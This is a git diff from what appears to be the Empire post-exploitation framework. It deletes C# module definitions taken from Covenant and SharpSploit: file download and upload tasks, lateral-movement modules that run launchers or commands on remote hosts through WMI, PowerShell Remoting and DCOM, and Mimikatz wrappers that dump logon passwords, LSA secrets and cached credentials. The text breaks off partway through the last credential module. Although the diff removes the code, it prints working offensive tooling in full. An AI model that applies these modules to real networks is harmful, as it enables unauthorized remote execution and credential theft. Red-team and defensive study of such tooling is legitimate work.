((IList)Results).IsReadOnly; - - - private const int PROPERTY_SPACE = 3; - - /// - /// Formats a SharpSploitResultList to a string similar to PowerShell's Format-List function. - /// - /// string - public string FormatList() - { - return this.ToString(); - } - - private string FormatTable() - { - // TODO - return ""; - } - - /// - /// Formats a SharpSploitResultList as a string. Overrides ToString() for convenience. - /// - /// string - public override string ToString() - { - if (this.Results.Count > 0) - { - StringBuilder builder1 = new StringBuilder(); - StringBuilder builder2 = new StringBuilder(); - for (int i = 0; i < this.Results[0].ResultProperties.Count; i++) - { - builder1.Append(this.Results[0].ResultProperties[i].Name); - builder2.Append(new String('-', this.Results[0].ResultProperties[i].Name.Length)); - if (i != this.Results[0].ResultProperties.Count-1) - { - builder1.Append(new String(' ', PROPERTY_SPACE)); - builder2.Append(new String(' ', PROPERTY_SPACE)); - } - } - builder1.AppendLine(); - builder1.AppendLine(builder2.ToString()); - foreach (SharpSploitResult result in this.Results) - { - for (int i = 0; i < result.ResultProperties.Count; i++) - { - SharpSploitResultProperty property = result.ResultProperties[i]; - string ValueString = property.Value.ToString(); - builder1.Append(ValueString); - if (i != result.ResultProperties.Count-1) - { - builder1.Append(new String(' ', Math.Max(1, property.Name.Length + PROPERTY_SPACE - ValueString.Length))); - } - } - builder1.AppendLine(); - } - return builder1.ToString(); - } - return ""; - } - - public T this[int index] { get => Results[index]; set => Results[index] = value; } - - public IEnumerator GetEnumerator() - { - return Results.Cast().GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator() - { - return Results.Cast().GetEnumerator(); - } - - public int IndexOf(T item) - { - return Results.IndexOf(item); - } - - public void Add(T t) - { - Results.Add(t); - } - - public void AddRange(IEnumerable range) - { - Results.AddRange(range); - } - - public void Insert(int index, T item) - { - Results.Insert(index, item); - } - - public void RemoveAt(int index) - { - Results.RemoveAt(index); - } - - public void Clear() - { - Results.Clear(); - } - - public bool Contains(T item) - { - return Results.Contains(item); - } - - public void CopyTo(T[] array, int arrayIndex) - { - Results.CopyTo(array, arrayIndex); - } - - public bool Remove(T item) - { - return Results.Remove(item); - } - } - - /// - /// Abstract class that represents a result from a SharpSploit function. - /// - public abstract class SharpSploitResult - { - protected internal abstract IList ResultProperties { get; } - } - - /// - /// SharpSploitResultProperty represents a property that is a member of a SharpSploitResult's ResultProperties. - /// - public class SharpSploitResultProperty - { - public string Name { get; set; } - public object Value { get; set; } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: [] - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: Download - Aliases: [] - Description: Download a file. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.IO; - using System.Text; - using System.Linq; - using System.Collections.Generic; - - public static class Task - { - public static Stream OutputStream { get; set; } - public static string Execute(string FileName) - { - try - { - using (FileStream fs = File.OpenRead(FileName)) - { - byte[] read = new byte[1048576]; - int count; - while ((count = fs.Read(read, 0, read.Length)) > 0) - { - IEnumerable finalRead = read.Take(count).AsEnumerable(); - int b = 0; - while (count % 3 != 0 && b != -1) - { - b = fs.ReadByte(); - if (b != -1) - { - finalRead = finalRead.Concat(new byte[] { (byte)b }); - } - count++; - } - byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(finalRead.ToArray())); - OutputStream.Write(base64, 0, base64.Length); - OutputStream.Flush(); - } - } - OutputStream.Close(); - return ""; - } - catch (Exception e) - { - if (OutputStream != null) - { - OutputStream.Close(); - } - return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; - } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: FileName - Value: '' - DefaultValue: '' - Description: Remote file name to download. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: Upload - Aliases: [] - Description: Upload a file. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - NetCore31 - Code: | - using System; - using System.IO; - - public static class Task - { - public static string Execute(string FilePath, string FileContents) - { - try - { - File.WriteAllBytes(FilePath, Convert.FromBase64String(FileContents)); - return FilePath; - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: FilePath - Value: '' - DefaultValue: '' - Description: Remote file path to write to. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: FileContents - Value: '' - DefaultValue: '' - Description: Base64 contents of the file to be written. - SuggestedValues: [] - Optional: false - DisplayInCommand: false - FileOption: true - ReferenceSourceLibraries: [] - ReferenceAssemblies: [] - EmbeddedResources: [] \ No newline at end of file diff --git a/empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml b/empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml deleted file mode 100755 index 86574b02a..000000000 --- a/empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml +++ /dev/null @@ -1,760 +0,0 @@ -- Name: WMIGrunt - Aliases: [] - Description: Execute a Grunt Launcher on a remote system using Win32_Process Create, optionally with alternate credentials. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using System.Collections.Generic; - - using SharpSploit.Generic; - using SharpSploit.LateralMovement; - - public static class Task - { - public static string Execute(string ComputerName, string Command, string Username = "", string Password = "") - { - try - { - WMI.WmiExecuteResult result = WMI.WMIExecute(ComputerName, Command, Username, Password); - if (result != null) - { - return new SharpSploitResultList { WMI.WMIExecute(ComputerName, Command, Username, Password) }.ToString(); - } - else - { - return "WMI Execution Failed"; - } - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: ComputerName - Value: localhost - DefaultValue: '' - Description: ComputerName to launch the Grunt on. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Launcher - Value: PowerShell - DefaultValue: '' - Description: Grunt Launcher to execute on the remote system. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Username - Value: '' - DefaultValue: '' - Description: 'Username to authenticate as. Format: DOMAIN\Username (optional)' - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: Password - Value: '' - DefaultValue: '' - Description: Password to authenticate the user. (optional) - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: &o0 - - Net35 - - Net40 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: WMICommand - Aliases: [] - Description: Execute a process on a remote system using Win32_Process Create, optionally with alternate credentials. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using System.Collections.Generic; - - using SharpSploit.Generic; - using SharpSploit.LateralMovement; - - public static class Task - { - public static string Execute(string ComputerName, string Command, string Username = "", string Password = "") - { - try - { - WMI.WmiExecuteResult result = WMI.WMIExecute(ComputerName, Command, Username, Password); - if (result != null) - { - return new SharpSploitResultList { WMI.WMIExecute(ComputerName, Command, Username, Password) }.ToString(); - } - else - { - return "WMI Execution Failed"; - } - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: ComputerName - Value: localhost - DefaultValue: '' - Description: ComputerName to create the process on. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Command - Value: '' - DefaultValue: '' - Description: Command line to execute on the remote system. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Username - Value: '' - DefaultValue: '' - Description: 'Username to authenticate as. Format: DOMAIN\Username (optional)' - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: Password - Value: '' - DefaultValue: '' - Description: Password to authenticate the user. (optional) - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: PowerShellRemotingGrunt - Aliases: [] - Description: Execute a Grunt Launcher on a remote system using PowerShell Remoting, optionally with alternate credentials. - Author: - Name: Daniel Duggan - Handle: _RastaMouse - Link: https://twitter.com/_RastaMouse - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - - using SharpSploit.LateralMovement; - - public static class Task - { - public static string Execute(string ComputerName, string Command, string Domain = "", string Username = "", string Password = "") - { - try - { - return PowerShellRemoting.InvokeCommand(ComputerName, Command, Domain, Username, Password); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: ComputerName - Value: '' - DefaultValue: '' - Description: ComputerName to launch the Grunt on. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Launcher - Value: PowerShell - DefaultValue: '' - Description: Grunt Launcher to execute on the remote system. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Domain - Value: '' - DefaultValue: '' - Description: The domain to execute as. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: Username - Value: '' - DefaultValue: '' - Description: The username to execute as. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: Password - Value: '' - DefaultValue: '' - Description: The password to execute as. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: PowerShellRemotingCommand - Aliases: [] - Description: Execute a PowerShell command on a remote system using PowerShell Remoting, optionally with alternate credentials. - Author: - Name: Daniel Duggan - Handle: _RastaMouse - Link: https://twitter.com/_RastaMouse - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - - using SharpSploit.LateralMovement; - - public static class Task - { - public static string Execute(string ComputerName, string Command, string Domain = "", string Username = "", string Password = "") - { - try - { - return PowerShellRemoting.InvokeCommand(ComputerName, Command, Domain, Username, Password); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: ComputerName - Value: '' - DefaultValue: '' - Description: ComputerName of the remote system. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Command - Value: '' - DefaultValue: '' - Description: PowerShell command to execute on the remote system. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Domain - Value: '' - DefaultValue: '' - Description: The domain to execute as. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: Username - Value: '' - DefaultValue: '' - Description: The username to execute as. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: Password - Value: '' - DefaultValue: '' - Description: The password to execute as. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: DCOMGrunt - Aliases: [] - Description: Execute a Grunt Launcher on a remote system using various DCOM methods. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - - using SharpSploit.LateralMovement; - - public static class Task - { - public static string Execute(string ComputerName, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", string Method = "MMC20.Application") - { - try - { - DCOM.DCOMMethod theMethod = DCOM.DCOMMethod.MMC20_Application; - if (Method.ToLower() == "shellwindows") { theMethod = DCOM.DCOMMethod.ShellWindows; } - else if (Method.ToLower() == "shellbrowserwindow") { theMethod = DCOM.DCOMMethod.ShellBrowserWindow; } - else if (Method.ToLower() == "exceldde") { theMethod = DCOM.DCOMMethod.ExcelDDE; } - else if (Method.ToLower() != "mmc20_application" && Method.ToLower() != "mmc20.application") { return "DCOM Execution failed. Invalid DCOMMethod specified."; } - - if (DCOM.DCOMExecute(ComputerName, Command, Parameters, Directory, theMethod)) - { - return "DCOM execution successful. Executed: \"" + Directory + Command + " " + Parameters + "\" on: " + ComputerName; - } - else - { - return "DCOM execution failed."; - } - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: ComputerName - Value: localhost - DefaultValue: '' - Description: ComputerName to execute the process on. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Launcher - Value: PowerShell - DefaultValue: '' - Description: Grunt Launcher to execute on the remote system. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Method - Value: MMC20.Application - DefaultValue: MMC20.Application - Description: DCOM method to use for execution. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: DCOMCommand - Aliases: [] - Description: Execute a process on a remote system using various DCOM methods. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - - using SharpSploit.LateralMovement; - - public static class Task - { - public static string Execute(string ComputerName, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", string Method = "MMC20.Application") - { - try - { - DCOM.DCOMMethod theMethod = DCOM.DCOMMethod.MMC20_Application; - if (Method.ToLower() == "shellwindows") { theMethod = DCOM.DCOMMethod.ShellWindows; } - else if (Method.ToLower() == "shellbrowserwindow") { theMethod = DCOM.DCOMMethod.ShellBrowserWindow; } - else if (Method.ToLower() == "exceldde") { theMethod = DCOM.DCOMMethod.ExcelDDE; } - else if (Method.ToLower() != "mmc20_application" && Method.ToLower() != "mmc20.application") { return "DCOM Execution failed. Invalid DCOMMethod specified."; } - - if (DCOM.DCOMExecute(ComputerName, Command, Parameters, Directory, theMethod)) - { - return "DCOM execution successful. Executed: \"" + Directory + Command + " " + Parameters + "\" on: " + ComputerName; - } - else - { - return "DCOM execution failed."; - } - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: ComputerName - Value: localhost - DefaultValue: '' - Description: ComputerName to execute the process on. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Command - Value: '' - DefaultValue: '' - Description: Executable to execute on the remote system. - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: Parameters - Value: '' - DefaultValue: '' - Description: Command line parameters to pass to the Command. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: Directory - Value: '' - DefaultValue: C:\Windows\System32\ - Description: Directory on the remote system containing the Command executable. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: Method - Value: MMC20.Application - DefaultValue: MMC20.Application - Description: DCOM method to use for execution. - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: [] diff --git a/empire/server/modules/csharp/Sharpsploit.Credentials.Covenant.yaml b/empire/server/modules/csharp/Sharpsploit.Credentials.Covenant.yaml index 47f0d8cdc..e1b3bcfa7 100644 --- a/empire/server/modules/csharp/Sharpsploit.Credentials.Covenant.yaml +++ b/empire/server/modules/csharp/Sharpsploit.Credentials.Covenant.yaml @@ -751,749 +751,4 @@ DotNetVersion: Net35 EmbeddedResources: [] ReferenceAssemblies: [] - EmbeddedResources: [] -- Name: LogonPasswords - Aliases: [] - Description: Execute the 'privilege::debug sekurlsa::logonPasswords' Mimikatz command. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using SharpSploit.Credentials; - - public static class Task - { - public static string Execute() - { - try - { - return Mimikatz.LogonPasswords(); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: [] - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: - - Name: SharpSploit.Resources.powerkatz_x86.dll - Location: SharpSploit.Resources.powerkatz_x86.dll - - Name: SharpSploit.Resources.powerkatz_x64.dll - Location: SharpSploit.Resources.powerkatz_x64.dll -- Name: LsaSecrets - Aliases: [] - Description: Execute the 'privilege::debug lsadump::secrets' Mimikatz command. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using SharpSploit.Credentials; - - public static class Task - { - public static string Execute() - { - try - { - return Mimikatz.LsaSecrets(); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: [] - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: - - Name: SharpSploit.Resources.powerkatz_x86.dll - Location: SharpSploit.Resources.powerkatz_x86.dll - - Name: SharpSploit.Resources.powerkatz_x64.dll - Location: SharpSploit.Resources.powerkatz_x64.dll -- Name: LsaCache - Aliases: [] - Description: Execute the 'privilege::debug lsadump::cache' Mimikatz command. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using SharpSploit.Credentials; - - public static class Task - { - public static string Execute() - { - try - { - return Mimikatz.LsaCache(); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: [] - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - 